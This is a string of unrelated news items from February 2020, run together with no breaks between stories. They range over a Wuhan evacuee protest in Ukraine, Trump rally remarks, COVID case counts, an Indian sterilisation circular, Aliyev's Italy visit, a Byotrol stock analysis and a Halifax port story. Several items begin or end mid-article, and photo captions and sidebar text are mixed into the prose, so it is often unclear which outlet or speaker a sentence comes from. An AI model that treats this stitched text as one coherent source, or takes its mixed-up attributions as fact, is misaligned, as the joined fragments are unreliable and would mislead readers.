Press Violence erupted as the first group of Ukrainians evacuated from the Chinese city of Wuhan -- the epicenter of the coronavirus outbreak -- arrived in the town of Novi Sanzhary in the central region of Poltava. Residents opposing the move to bring the potentially infected people to the area on February 20 threw stones at the evacuees and clashed with police. Ukrainian authorities said 45 Ukrainians and 27 foreigners, as well as medical personnel and crew members were aboard the plane that had evacuated the group from Wuhan. The nationalities of the foreign citizens were not immediately known. Ukrainian President Volodymyr Zelenskiy wrote on Facebook on February 20 that the plane carrying both Ukrainians and several foreigners made a quick stop to refuel at Kyiv's Borispil Airport before landing in Kharkiv, where the group was bused to the designated place of quarantine. Zelenskiy said all the people who arrived from Wuhan will be quarantined for 14 days in the National Guard's medical center in Novi Sanzhary. Masked evacuees peered through bus windows as they drove under a heavy police escort. Stones had shattered a window on one of the buses, but it was not clear if there were any injuries on the vehicle. A police statement said that nine officers and one civilian were hospitalized following the clashes and that 24 protesters had been detained. Authorities said 23 of the detainees were released within hours. Ukrainian Health Minister Zoryana Skaletska said on February 20 that "fake information" about alleged coronavirus cases in Ukraine had caused the panic. The Security Service of Ukraine (SBU) said a fake e-mail that purported to be from Ukraine's Health Ministry had been sent to the ministry's entire contact list. The SBU said the fake e-mail originated outside Ukraine and it was being investigated. Zelenskiy said the protesters had displayed "not the best side of our character" and insisted that the quarantined individuals would not pose a threat to residents. In an effort to reassure residents, Ukrainian Health Minister Zoryana Skaletska said she would live with the evacuees in quarantine for two weeks. Separately, in the western region of Lviv, protesters blocked one of the highways for a short time amid rumors that some of those evacuated from Wuhan could be placed in quarantine in a military hospital in the area. Local authorities denied the rumors. China has reported 2,233 deaths from the disease, with about 75,000 total infections. The World Health Organization has said that 1,076 cases have been reported in nearly 30 other countries. Authorities have put Wuhan, with a population of some 11 million people, in a virtual lockdown, and most countries have evacuated their nationals from the city, putting them in some form of quarantine. With reporting by AP, Reuters, AFP, and Ukrayinska Pravda The brewery, adjacent to the Athens Cotton Press, is the fifth to open in Athens, the first in the Normaltown neighborhood and the smallest in the city. The commander of the Revolutionary Guards, Major General Hossein Salami, delivers a speech for people who attend a demonstration in Tehran DUBAI (Reuters) - Iran will strike the United States and Israel if they make the slightest mistake, the head of the elite Revolutionary Guards said in a speech broadcast live on state TV. "If you make the slightest error, we will hit both of you," Major General Hossein Salami said. (Reporting by Babak Dehghanpisheh; Editing by Frances Kerry) A sewer tunnel built by the French in downtown HCMC. Photo by VnExpress/Trung Son. Japan will allocate Ho Chi Minh City VND400 billion ($17.2 million) of non-refundable aid to upgrade its outdated sewage system. In accordance with an agreement signed Friday, Japan International Cooperation Agency will fund a majority of the project to upgrade 2.78 km of underground sewers in HCMCs central Districts 1 and 3, adding 50 years to the networks lifespan. Applying trenchless technology, the project will cost up to VND468 billion ($20.18 million), with additional funds drawn from the citys coffers. The technology enables the laying of underground pipes by boring tunnels and using drive and receptor shafts without having to dig up the entire length of the sewer. Its obvious benefits are fewer road closures, traffic jams, and disturbances to people living in the vicinity, alongside less risk of street collapse and sewage network failure. The sewer system subjected to upgrade runs below Hai Ba Trung, Yersin, Cong Quynh and Cach Mang Thang 8 streets. HCMCs sewer system covers 2,600 km, though 932 km have been downgraded. Of the total, around 100 km are an outdated relic of the French colonial era of the 19th century in urgent need of replacement to prevent flooding. By AFP COLORADO SPRINGS: President Donald Trump on Thursday scorned the best picture Oscar for South Korean film "Parasite," asking how a foreign movie could get the honour. "How bad was the Academy Awards this year?" Trump asked the crowd at a packed re-election campaign rally in Colorado Springs, Colorado. "We got enough problems with South Korea, with trade. On top of it, they give them the best movie of the year?" Trump asked in disbelief. "Parasite," a dark comedy exploring class divides, made history by becoming the first non-English-language film to win Hollywood's biggest annual prize. Saying "was it good? I don't know," Trump seemed to indicate he had not watched the film. Trump, whose presidency has been built on a nationalist "America first" slogan, said it was time to bring back classics from Hollywood's golden age. "Let's get 'Gone With the Wind. Can we get 'Gone With the Wind' back please? 'Sunset Boulevard?'' he said. Trump also took a crack at Best Supporting Actor winner Brad Pitt, calling him "a little wiseguy." Pitt used his award acceptance speech to support the impeachment of Trump. Women level soil on a farm in Zouma Town, Nanchong City, Southwest China's Sichuan Province. [For Women of China] While doing the work of prevention and control of the novel coronavirus disease (COVID-19) well, the women's federations nationwide have mobilized women to begin agricultural production as the spring ploughing season approaches. SW China's Chongqing Municipality Motivated by the Women's Federation of Chongqing Municipality, Tan Haiyan, secretary of Chushui Village in Chongqing, leads local women to carry out agricultural production while doing the work of epidemic prevention well. Tan has motivated the local women to cultivate 218 mu (about 145,333 square meters) of various kinds of vegetable seedlings, which will be planted on 5,000 mu (about 3 square kilometers) of farmland. They have also stored 1,500 metric tons of organic fertilizer and 102 metric tons of plastic mulch, effectively promoting vegetable breeding and the supply of agricultural resources. SW China's Guizhou Province "Check the body temperature before work. Wear a facial mask. Only those with normal temperature can work on the farm. People need to keep at arm's length from each other," said Luo Qiaolian, deputy director of the village committee of Zhongxin Village in Ziyun Miao and Bouyei Autonomous County in Southwest China's Guizhou Province. After a brief training on epidemic preventive measures before farming, Luo and other female villagers wearing masks went to work in the vegetable planting bases in the village group by group. According to Luo, about 20 people are allowed to work in the field in a scattered manner every day to ensure their safety. Beijing In Beijing, the women's agricultural bases supported by the Beijing Women's Federation sell fresh vegetables and fruits at fair prices. Every day, 11 bases in the Beijing's Changping District supply a variety of vegetables and fruit, such as strawberries, apples, pears and mushrooms. Shi Liming, a female entrepreneur in Changping District, have been donating all the profits from her company's sales of strawberries to support the fight against the novel coronavirus (COVID-19). A crop planting cooperative in the Tongzhou District launched an online ordering service, which enables people to order vegetables and fruits online and get them at its offline stores in communities. SE China's Fujian Province In Southeast China's Fujian Province, women are encouraged to resume work and production by the Women's Federation of Fujian Province. Lin Jie, general manager of Zhangzhou Oasis Agricultural Development Co. Ltd, has taken several measures to resume production in a safe way, such as disinfection of transport vehicles, regular temperature checks, and allocation of masks. Meanwhile, intelligent facilities have been adopted to ease the shortage of labor during the epidemic outbreak. In addition, local government departments have offered support to solve the difficulties in transporting agricultural products to other provinces. (Source: China Women's News/Translated and edited by Women of China) (CNN) Hopes for a slowdown in the spread of the novel coronavirus were dashed Friday as the number of new cases rose in China, and outbreaks worsened in Japan and South Korea. Authorities in China's Hubei province confirmed an additional 411 cases of the virus Thursday, 62 more than the previous day, taking the total number of cases at the epicenter of the outbreak to 62,442. There are an additional 14,000 or so cases outside Hubei, with the majority in other parts of mainland China. The death toll from the outbreak now stands at 2,247, after more deaths in mainland China Thursday, including 115 in Hubei, seven more than the previous day. More than 42,000 patients remain hospitalized across Hubei, including 2,018 in a critical condition. So far, 11,788 patients have been treated and discharged since the outbreak began. Meanwhile, fears are growing of self-sustaining epidemics elsewhere in Asia. Outside China, the largest coronavirus outbreaks have been in South Korea and Japan, where hundreds of people were infected on the Diamond Princess cruise ship, which began disembarking passengers this week from Yokohama Bay. The number of cases in South Korea has soared, from 28 a week ago to at least 156 as of Friday morning. The outbreak there is centered around the southern city of Daegu. Among the 52 new cases, 39 are linked to the Shincheonji Church of Jesus, The Temple of the Tabernacle of the Testimony. South Korean authorities Thursday were seeking to question more than 1,000 church members who attended a service with one of the recently confirmed cases. Daegu's mayor asked the congregation and their family members to self-quarantine at home. Three other new cases connected to Daegu involved members of the military. Medical teams have been dispatched to the city, where they will test people without overseas travel history or relation to other confirmed cases. Until now, tests have only been conducted on cases with recent travel history to China, Hong Kong, and Macao, or on people showing suspicious symptoms of the virus after being in contact with confirmed cases. On Friday, the South Korean government designated Daegu and neighboring Cheongdo as "special management areas" for infectious disease. Japan outbreak In Japan, where attention has been focused for weeks on the Diamond Princess cruise liner docked at Yokohama, fears are growing of a separate outbreak centered around Nagano, northwest of Tokyo. At least 94 cases have been confirmed in the area, and one death, none of which have any connection to the ship. Cases have also been reported as south as Okinawa and on Kyushu, according Japanese public broadcaster NHK. On Thursday, the US Centers for Disease Control (CDC) issued a new travel advisory for Japan, but only at the mildest level, which recommends people "practice usual precautions" and avoid contact with sick people. "At this time, CDC does not recommend canceling or postponing travel to Japan," the agency said. By comparison, it currently lists mainland China as a level 3 warning and advises travelers to "avoid nonessential travel." The notice excludes Hong Kong, Macao and Taiwan. Hundreds of travelers on board the Diamond Princess were due to disembark Friday. Many have already left the ship and begun flying home. As they have done so however, more evidence has emerged about the alleged failure of the quarantine on board. Around a dozen passengers who were deemed not to have the virus were later found to be showing symptoms when they flew to the US, leading them to require isolation from other passengers on the evacuation flight. An additional two passengers evacuated from the ship tested positive on arrival in Australia Friday. Brendan Murphy, chief medical officer for the Australian government, said in a statement that 164 people from the Diamond Princess arrived to the Howard Springs Quarantine Facility in Darwin on Thursday to begin their 14-day quarantine. Upon arrival, six passengers had minor respiratory symptoms and/or fevers. Of those, two people have since tested positive for the novel coronavirus. Murphy said both patients "remain well" and were being housed in an isolation unit at the quarantine facility. Murphy added that "the development of positive cases after return to Australia is not unexpected" as there was evidence of spread of infection on board the Diamond Princess. Murphy reassured other passengers and the crew on the Qantas evacuation flight saying that "all measures were taken to ensure their protection" and that "the small number of passengers on the plane meant passengers could be spread out. Higher risk passengers were seated in separate sections." Hundreds the 3,000 or so people on board the Diamond Princess tested positive for the virus during the two-week quarantine. On Thursday, Japanese health officials announced that two passengers with the virus had died in hospital. Both were Japanese citizens in their eighties. The outbreak is expected to put the cruise industry under pressure as passengers defer or cancel trips. Airlines are also expected to take a major hit, after dozens of carriers cut flights to China and elsewhere in the affected region. The International Air Transport Association (IATA) estimated the total global lost revenue for airlines due to coronavirus could be $29.3 billion. IATA expected a potential 13% drop in passengers for the year across the Asia-Pacific region, and the financial impact will be "severe for those particularly exposed to the China market," it said in a statement Thursday. The notification also sought compulsory retirement of employees concerned if they still failed to deliver. Bhopal: A circular issued by Madhya Pradesh government seeking compulsory retirement of officers concerned for not meeting the target on vasectomy has threatened to resurrect the ghost of the emergency-era nasbandi (sterilisation) campaign to haunt Chief Minister Kamal Nath, friend of Sanjay Gandhi, the brain behind the infamous drive. The state government on Friday launched a damage control exercise to stave off the controversy triggered by the circular by withdrawing the notification dated February 11 as well as shunting out director of National Health Mission Chavi Bhardwaj for the fiasco. The circular issued by state governments National Health Mission director made it mandatory for each officer concerned to ensure sterilisation of at least 5-7 men in a year and directed top district officials and chief medical and health officers to apply no work, no pay rule for the male employees who failed to log at least one sterilisation case in 2019-20 financial year ending March. The notification also sought compulsory retirement of employees concerned if they still failed to deliver. The circular cited National Family Health Survey-4 report that recorded sharp decline in male sterilization in MP, while suggesting such tough measures. Bhardwaj, however, denied that any coercive measure has been mooted by the state government on sterilization. No targets have been set nor punitive measures are advised from the state, she told the media. She was shunted out as officer-on-special duty (OSD) without charges while being shifted to state secretariat. For a short period right after the Cold War roughly 1992 to 2004 Americans had a clear vision of what they wanted in a president: a middle-aged, multi-term, reform-minded governor. This made perfect sense, because governor is the job that most closely mirrors the presidency. Governors run an executive branch with thousands of employees, make cabinet appointments, tussle over budgets, sign legislation into law, veto legislation they oppose, appoint judges, and respond to natural disasters. When they want to get their agenda enacted, they have to persuade legislators. Sometimes they have to fire cabinet appointees or heads of state agencies. They run welfare and public-health programs. They oversee state police forces, prison systems, environmental-protection agencies, and tourism offices, and enforce state laws. Perhaps the only thing presidents do that they dont is conduct foreign policy. Whats more, from a voters perspective, governors are the easiest presidential candidates to evaluate. Year by year, they build up a clear record: Their performance can be measured by their states unemployment, crime, and poverty rates, its economic growth, its public-school test scores, and its budgetary balance. While they can try to spin all those metrics when running for president, voters generally know if theyre lying. Either they accomplished what they set out to do, or they didnt. Either they got the agenda they campaigned on passed into law, or they didnt. Either the trains ran on time, or they didnt. By comparison, representatives and senators have it easy as presidential candidates. No one expects legislators in the minority to get much passed. They can take credit for voting for a bill in a campaign commercial and conveniently forget to mention that it didnt pass, or that it passed unanimously. They can take credit for bills that other lawmakers shepherded to passage. They can easily blur the line between I led the fight on this issue and I gave a speech on the floor when the bill came up for a vote. If confronted with a vote that could prove problematic to their White House ambitions, they can vote present. If they hem, haw, or equivocate, not many people notice. Story continues If youve made it this far, youre probably aware that, for some reason, governors have gone out of style in presidential politics since George W. Bush left office, unless you want to count Mitt Romney who had been an ex-governor for six years when he claimed the GOP nomination in 2012 or Mike Pence and Tim Kaine, the ex-governors who stood for vice president in 2016. Republicans had no shortage of governors running four years ago: Chris Christie, Jim Gilmore, Mike Huckabee, Bobby Jindal, John Kasich, George Pataki, Rick Perry, Scott Walker. Yet a large plurality of Republicans chose Donald Trump instead, and in the process repudiated everything that the middle-aged, multi-term, reform-minded governors stood for. Now, Democrats are following suit. None of the few ex-governors to enter the race for the partys 2020 nomination Steve Bullock, John Hickenlooper, Jay Inslee, Deval Patrick has proven viable. With a wide variety of options, Democratic donors and poll respondents decided they werent interested in middle-aged, multi-term, reform-minded governors. Yes, you could argue that the two mayors in the field who are still considered viable offer voters executive experience. But Pete Buttigieg has never run anything larger than South Bend, Ind., which has a little more than 100,000 residents, and his record in that job is modest at best. And the political career of Michael Bloomberg, probably the Democratic candidate who comes closest to fitting the bill New York City, which he governed for three terms as mayor, has 8 million or so residents has been defined more by the billions he made as a titan of industry than by anything hes accomplished politically. Bloombergs MO as a politician has always been to buy consensus rather than building it. New York magazine once labeled him an autocrat for the people. With an ability to wildly outspend all potential rivals, he was immune from the struggles of a typical politician as New Yorks mayor, and now hes trying to replicate the same approach nationally. Meanwhile, the races front-runner, Bernie Sanders, is asking Americans to imagine what his socialist agenda would be like in practice, both because nothing of its sort has ever been tried by a president, and because his own record of governing experience is short. He hasnt been an executive since leaving his post as mayor of Burlington, Vt. in 1989, when Buttigieg was a second grader. Elizabeth Warren and Amy Klobuchar are asking Americans to get a sense of how they would perform in the White House from examining their time in the Senate. Joe Biden was a heartbeat away from the top job for eight years, but no one saw him as the man running the show. He has spent the past year trying to persuade Americans to credit him for all the parts of the Obama record they liked and none of the parts they didnt like. It is, in short, a pretty sorry field of candidates to knock off an incumbent president running in some of the best economic times in recent memory. You could argue that the race would already be over if the president in question were anyone other than Donald Trump. Trumps attorney general is begging him to stop tweeting about ongoing court cases, his former national-security adviser calls his North Korea policy a failure, the former director of his National Economic Council confessed to being astounded by his lack of basic understanding about economic issues, and his former secretary of defense told jokes about his laziness. Yet the vast majority of Republicans are fine with him. Perhaps governors have gone out of style because governing has gone out of style. More from National Review The unincorporated hamlet of Hell welcomes visitors about three miles southwest of Pinckney. DETROIT For better or worse, in sickness and, this Leap Day, in Hell. On Saturday, 29 lucky or perhaps unlucky couples will be able to tie the knot for free at 2:29 p.m. in Hell, a small town 20 miles outside Ann Arbor, Michigan. When you get married in Hell, theres nowhere for your marriage to go but up, said the Rev. Yvonne Williams, who will officiating the mass ceremony. Detroit Zoo: A new polar bear just in time for mating season The short and sweet ceremony will take place outside the towns chapel. Williams said the couples will stand in a big circle as they repeat vows and exchange rings. Itll happen in whatever weather Michigan gives us that day, Williams said. Couples will be allowed to bring guests to the festivities, which Williams estimates will last less than 10 minutes. Elijah Daniel: Rapper says he bought Hell, Michigan, turned it into 'Gay Hell' Williams said a few spots are still open for the ceremony. Out-of-state couples will be required to get their marriage licenses from the Livingston County courthouse, Williams said, and Michigan couples can head to their countys courthouse. Marriage licenses do have waiting periods that can last days, so Williams encourages couples to head to the courthouse soon to make it for the Leap Day ceremony. Couples who receive confirmation from Williams are advised to arrive at the chapel well before the ceremony begins. Williams says couples should arrive at about 1 p.m. This article originally appeared on Detroit Free Press: Couples can get married for free on Leap Day in Hell, Michigan The Ladakh administration on Friday refuted reports that a patient had died due to coronavirus saying the deceased or his family had no history of travelling outside the Union Territory. Giving details of three cases, the administration said in a release that the two patients, including the one who died, and their families have no history of travelling outside Ladakh, while a third one had come back from Bihar and South India. The administration said the third patient had come to the OPD on February 14 complaining of diarrohea and vomiting and was admitted on February 17. He had the same problem in Bihar approximately two months back. The 36-year-old male patient from Nubra got relieved on treatment. However, on arrival at Leh, he again developed the same symptoms. The patient is said to be stable and is in isolation ward. About the first two, the administration said a 52-year-old male patient from village Phyang was admitted on January 27 with cough, breathlessness and fever. "There is no travel history of the patient and family members outside Ladakh. The patient expired on February 5," the administration said in the official note. In the second case, the administration said the 55-year-old male patient from Achinathang village was admitted on February 11 with acute respiratory distress syndrome. "There is no travel history of the patient, family members and neighbours outside Ladakh. Oxygen saturation is continuously low. The patient referred to Delhi on February 21," the official release noted. Earlier, reports said two patients had been isolated for coronavirus like symptoms after death of a patient over similar symptoms. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) BAKU, Azerbaijan, Feb. 21 Trend: Italy and Azerbaijan respect and support each others territorial integrity, sovereignty and inviolability of borders, Azerbaijani President Ilham Aliyev said while making a press statement together with President of the Italian Republic Sergio Mattarella, Trend reports. Dear ladies and gentlemen! Mr. President, first of all, I would like to express my deep gratitude to you for the invitation to visit Italy on a state visit and for the hospitality extended to me and the delegation, Ilham Aliyev said. I am very glad to be in your beautiful country again. Today, both during our one-on-one meeting and in the negotiations with the participation of our delegations, I became further convinced that Italy and Azerbaijan are friendly countries very close to each other. Mr. President, I recall with satisfaction your official visit to Azerbaijan, noted the Azerbaijani president. That visit gave a powerful impetus to the further cooperation between our countries and all the agreements reached during that visit are being implemented today. There are plans to sign numerous bilateral documents today, Ilham Aliyev added. Each of them is important. They cover many areas. However, I would like to emphasize the Joint Declaration on Strengthening the Strategic Partnership because this declaration essentially sets forth future directions of our strategic partnership. This is a very deep and detailed document covering political, economic, cultural, humanitarian areas all areas. At the same time, it contains a provision on the provision by Italy and Azerbaijan of support to each other within the framework of international organizations. And this happens between close and friendly countries, between allies. Further development of our cooperation in the economic sphere will be very positive, said the Azerbaijani president. I am sure that we will now see cooperation of Italian companies in the non-oil sector. So far, many Italian companies have participated in various projects in Azerbaijan. As for trade, Italy is our number one partner on a global scale. Last year, our turnover reached $6 billion. True, a significant part of it relates to the oil sector. Therefore, we have exchanged views on the diversification of our trade. As Mr. President said, we have discussed the settlement of the Armenia-Azerbaijan Nagorno-Karabakh conflict, Ilham Aliyev noted. Ways to resolve this problem are also stated in the Joint Declaration. It says that Italy and Azerbaijan respect and support each others territorial integrity, sovereignty and inviolability of borders. At the same time, it states the need to resolve the Armenia-Azerbaijan Nagorno-Karabakh conflict precisely on the basis of these principles, the Helsinki Final Act, decisions and resolutions adopted by the UN and OSCE. I believe that this is a very fair position based on international law, and we are grateful to the Italian side for this position. As for the steps associated with a concrete solution to the issue, Armenia comes out with very disappointing, conflicting and contradictory statements, the Azerbaijani president added. The head of Armenia once said that Nagorno-Karabakh is Armenia. Then he said that Nagorno-Karabakh is an independent state. Both statements are wide of the mark. Nagorno-Karabakh is Azerbaijan. This is evidenced by history, norms and principles of international law, Ilham Aliyev said. The territorial integrity of Azerbaijan, including Nagorno-Karabakh, is recognized and accepted by the whole world. Therefore, the settlement of the conflict is possible only on the basis of the norms and principles of international law, within the framework of the territorial integrity of Azerbaijan. Lady Kitty Spencer dazzled at the Alberta Ferretti after party during Milan Fashion Week. Photo: Getty Images Lady Kitty Spencer has wowed with a stunning red dress moment at Milan fashion Week that has cemented the royal adjacent as a fashionista in her own right. The niece of Princess Diana and cousin of Prince William and Prince Harry, Kitty has been a source of fascination to royal watchers for years. Her stunning looks coupled with her freedom from the confines of life as royal mean that she has built up quite the public profile. Lady Kitty Spencer is heating up Milan. Photo: Getty Images The dazzling Lady has half a million followers on Instagram and regularly graces the covers of magazines in her job as a high-end model. Lady Kitty Spencer attends the Alberta Ferretti in a silky red number. Photo: Getty Images Photographed at the Alberta Ferretti after-party at Milan Fashion Week on Wednesday night, the 29-year-old posed for cameras in an impromptu photo shoot taken at the Palazzo Donizetti. Dressed in a silky figure-hugging gown, with a plunging neck and back, the professional model struck a number of poses in the stunning photos. The model has been spotted in the gown before. Photo: Getty Images Eagle-eyed fans may spot the devastating blonde has rocking the same gown before, though last time opted for a vibrant yellow. Kitty has raised eyebrows of late with rumours of her recent engagement to fiance Michael Lewis. Contentious relationship with older fiance Kitty has been sporting a glittering engagement ring since Christmas. Photo: Getty Images Michael, at 60 years old, is more than twice Kittys age and five years older than her father Earl Spencer. Kitty, who was born in London but raised in South Africa, is said to have shared the couples happy news with her loved ones over the festive break. Despite no official confirmation from the duo, Kitty has been sporting a diamond ring on her left hand in recent appearances. The pair got together after the Louis Vuitton model called time on her four-month relationship with property mogul Niccolo Barattieri di San Pietro, 48, in 2017. Lady Kitty is the eldest child of former British model Victoria Aitken and Charles Spencer, 9th Earl Spencer, the late Princess Dianas younger brother. Kitty has worked as a high-fashion model since 2015 and was a notable guest at her cousin Prince Harrys wedding to Meghan Markle in May, 2018. Got a story tip or just want to get in touch? Email us at lifestyle.tips@verizonmedia.com Donald Trump told a rally crowd in Colorado Springs on Thursday that 'crazy' Sen Bernie Sanders is likely to be the presidential nominee for the Democrats. Mr Trump mocked all of the Democratic candidates in a speech in which he also laid into the 2020 Academy Awards at the Broadmoor World Arena, which has a capacity of more than 8,000. Speaking of Sanders, Mr Trump said: 'It looks like Bernie doesn't it? It looks like crazy Bernie'. Donald Trump told a rally crowd in Colorado Springs on Thursday that Sen Bernie Sanders is likely to be the presidential nominee for the Democrats He added: 'Youre going to vote for one of these people, probably crazy Bernie he seems to be leading.' And in weighing in on the 78-year-old's rivals for the Democratic nomination, Mr Trump said former New York mayor Mike Bloomberg's performance in the debate on Wednesday night would cost him support. He said: 'Mini Mike did not do well last night. He went way down. It's all right, Mini Mike. 'I was going to send him a note saying, "It's not easy doing what I do, is it?" 'I don't know. It's not easy Mike. It's not easy for any of them. No, Mike didn't do too well. He went way down.' For the first time the President was also critical of Sen Amy Klobuchar, claiming that she 'choked'. Speaking of Sanders, Mr Trump said: 'It looks like Bernie doesn't it? It looks like crazy Bernie' And in weighing in on the 78-year-old's rivals for the Democratic nomination, Mr Trump said former New York mayor Mike Bloomberg's performance in the debate on Wednesday night would cost him support. He said: 'Mini Mike did not do well last night. He went way down. It's all right, Mini Mike' 'How about Klobuchar? Did you see her? She choked. She choked. She couldn't breathe,' he said. His jibe prompted the Klobuchar to hit back from her own campaign trail as she said it was a 'badge of honour' that 'the president is finally noticing that I'm running against him'. The president also expressed confidence in his own campaign odds and said: 'I came president because of the debates, becuase unlike Mini Mike I could answer questions.' He also went on to criticise the decision to award the Academy Award for best picture to the South Korean film 'Parasite'. For the first time the President was also critical of Sen Amy Klobuchar, claiming that she 'choked' For the first time the President was also critical of Sen Amy Klobuchar, claiming that she 'choked' 'By the way, how bad were the Academy Awards this year? Did you see it?,' he said. 'And the winner is a movie from South Korea,' Trump said, imitating those who announce category winners. 'What the hell was that all about?' Instead the 73-year-old president said he wishes the film industry would bring back movies like the 1940 classic 'Gone with the Wind' and 1950 film 'Sunset Boulevard.' 'The winner is from South Korea,' Trump continued. 'I thought it was best foreign film. Best foreign movie. No, it was did this ever happen before?' He also went on to criticise the decision to award the Academy Award for best picture to the South Korean film 'Parasite' The film studio behind award-winning film Parasite clapped back at Trump shortly after he made the remarks. In response, film studio NEON shared a Tweet, insinuating that he was unable to enjoy the English subtitles from the movie. 'Understandable, he can't read,' the studio said in its brutal tweet. The President will hold another reelection rally for the third night in a row on Friday in Las Vegas as Democrats prepare for the second-in-the-nation caucuses in Nevada on Saturday. Mr Trump has reserved much of his fire for Mr Bloomberg, who entered the Democratic primary race in mid-November. He swiftly rose in the rankings among the dwindling field of candidates as he used his own deep pockets to increase his exposure in a series of television and social media ads. Today we are going to look at Byotrol plc (LON:BYOT) to see whether it might be an attractive investment prospect. Specifically, we'll consider its Return On Capital Employed (ROCE), since that will give us an insight into how efficiently the business can generate profits from the capital it requires. Firstly, we'll go over how we calculate ROCE. Second, we'll look at its ROCE compared to similar companies. And finally, we'll look at how its current liabilities are impacting its ROCE. Return On Capital Employed (ROCE): What is it? ROCE is a measure of a company's yearly pre-tax profit (its return), relative to the capital employed in the business. Generally speaking a higher ROCE is better. Overall, it is a valuable metric that has its flaws. Renowned investment researcher Michael Mauboussin has suggested that a high ROCE can indicate that 'one dollar invested in the company generates value of more than one dollar'. How Do You Calculate Return On Capital Employed? The formula for calculating the return on capital employed is: Return on Capital Employed = Earnings Before Interest and Tax (EBIT) (Total Assets - Current Liabilities) Or for Byotrol: 0.20 = UK1.2m (UK8.0m - UK1.8m) (Based on the trailing twelve months to September 2019.) So, Byotrol has an ROCE of 20%. See our latest analysis for Byotrol Is Byotrol's ROCE Good? ROCE can be useful when making comparisons, such as between similar companies. Using our data, we find that Byotrol's ROCE is meaningfully better than the 13% average in the Chemicals industry. I think that's good to see, since it implies the company is better than other companies at making the most of its capital. Setting aside the comparison to its industry for a moment, Byotrol's ROCE in absolute terms currently looks quite high. Byotrol reported an ROCE of 20% -- better than 3 years ago, when the company didn't make a profit. This makes us wonder if the company is improving. The image below shows how Byotrol's ROCE compares to its industry, and you can click it to see more detail on its past growth. Story continues AIM:BYOT Past Revenue and Net Income, February 21st 2020 Remember that this metric is backwards looking - it shows what has happened in the past, and does not accurately predict the future. ROCE can be deceptive for cyclical businesses, as returns can look incredible in boom times, and terribly low in downturns. ROCE is only a point-in-time measure. Future performance is what matters, and you can see analyst predictions in our free report on analyst forecasts for the company. Do Byotrol's Current Liabilities Skew Its ROCE? Liabilities, such as supplier bills and bank overdrafts, are referred to as current liabilities if they need to be paid within 12 months. The ROCE equation subtracts current liabilities from capital employed, so a company with a lot of current liabilities appears to have less capital employed, and a higher ROCE than otherwise. To check the impact of this, we calculate if a company has high current liabilities relative to its total assets. Byotrol has current liabilities of UK1.8m and total assets of UK8.0m. Therefore its current liabilities are equivalent to approximately 22% of its total assets. A minimal amount of current liabilities limits the impact on ROCE. What We Can Learn From Byotrol's ROCE This is good to see, and with such a high ROCE, Byotrol may be worth a closer look. Byotrol looks strong on this analysis, but there are plenty of other companies that could be a good opportunity . Here is a free list of companies growing earnings rapidly. There are plenty of other companies that have insiders buying up shares. You probably do not want to miss this free list of growing companies that insiders are buying. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Thank you for reading. She has spent years studying a defining issue of our time: the slowdown in the improvement of living standards for most Americans. Taking on this problem would be her guiding priority, and she would not shy away from ambitious solutions, as Democrats too often have in recent decades. Opinion Debate Will the Democrats face a midterm wipeout? Mark Penn and Andrew Stein write that "only a broader course correction to the center will give Democrats a fighting chance in 2022" and beyond. write that "only a broader course correction to the center will give Democrats a fighting chance in 2022" and beyond. Matthew Continetti writes that time and again, the biggest obstacle to a red wave hasnt been the Democratic Party. Its been the Republican Party. writes that time and again, the biggest obstacle to a red wave hasnt been the Democratic Party. Its been the Republican Party. Ezra Klein speaks to David Shor, who discusses his fear that Democrats face electoral catastrophe unless they shift their messaging. speaks to David Shor, who discusses his fear that Democrats face electoral catastrophe unless they shift their messaging. Michelle Cottle examines two primary contests that will shake the parties well beyond the states in play. She has also shown an understanding of how to use the levers of bureaucracy effectively, as she did when creating the Consumer Financial Protection Bureau. She understands that bold programs easily understandable to voters are often more politically popular than technocratic programs, as I explained in a recent column. As Voxs Ezra Klein has written: She has repeatedly proven her ability to master complex topics, comprehend impenetrable systems, run tricky bureaucracies, recruit and retain excellent staff, build unexpected alliances, persuade the public of what shes learned, and turn those learnings into power and policy. The case for Warren, then, is clear: She is simply the best person for the job. (An aside: The other candidate with a strong record of using government effectively is one whos not usually grouped with Warren Michael Bloomberg.) On top of these strengths, Warren also avoids some of the glaring weaknesses of the other leading Democrats. Shes a sharper communicator than Joe Biden. She has far more experience than Pete Buttigieg. Unlike Amy Klobuchar, Warren talks like a visionary president rather than a process-focused senator. Unlike Bloomberg, she couldnt be accused of buying the nomination, and her nomination wouldnt anger many younger voters. As for Bernie Sanders, Warrens policies are more fleshed out than his, and she has not suffered a recent heart attack, as the Times editorial board noted. MONTREAL - A major U.S. shipper is turning away from the Halifax port in favour of U.S. harbours due to ongoing blockades that have shut down Canadian National Railway Co.'s eastern network. Hey there, time traveller! This article was published 20/2/2020 (691 days ago), so information in it may no longer be current. Shipping containers are stacked at the Fairview Cove Container Terminal in Halifax on Friday, Oct. 19, 2018. A major U.S. shipper is turning away from the Halifax port in favour of U.S. harbours due to ongoing blockades that have shut down Canadian National Railway Co.'s eastern network. THE CANADIAN PRESS/Andrew Vaughan MONTREAL - A major U.S. shipper is turning away from the Halifax port in favour of U.S. harbours due to ongoing blockades that have shut down Canadian National Railway Co.'s eastern network. Atlantic Container Line, which typically berths two ships a week carrying everything from auto parts to French cheese, is now docking in New York and Baltimore instead to run cargo inland on American railroads. Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. Chief executive Andrew Abbott, whose company has relied on the port for more than 50 years, says the change means slower delivery and higher costs for importers, exporters and customers. He says about 90 per cent of products on the rerouted container ships are bound for Central Canada or the United States. Halifax Port Authority spokesman Lane Farguson says berths remain open with dockworkers still finding some work unloading freight from other shippers, but much of it has nowhere to go with the ongoing CN rail shutdown east of Toronto. CN took the drastic step one week ago after protesters set up a blockade east of Belleville, Ont., on Feb. 6 in support of Wet'suwet'en hereditary chiefs who oppose a natural gas pipeline slated to pass through their traditional lands in British Columbia. This report by The Canadian Press was first published Feb. 20, 2020. Companies in this story: (TSX:CNR) The fourth annual JA Mentor Circle was held on Tuesday, Feb. 11, at Horizons Conference Center in Saginaw. The Mentor Circle originated in 2017 to provide high school students a full day of mentoring experience from professionals in the industry of their choice and to gain knowledge and confidence to further their educational, personal and career goals. The JA Mentor Circle has become more popular every year with area high school students to 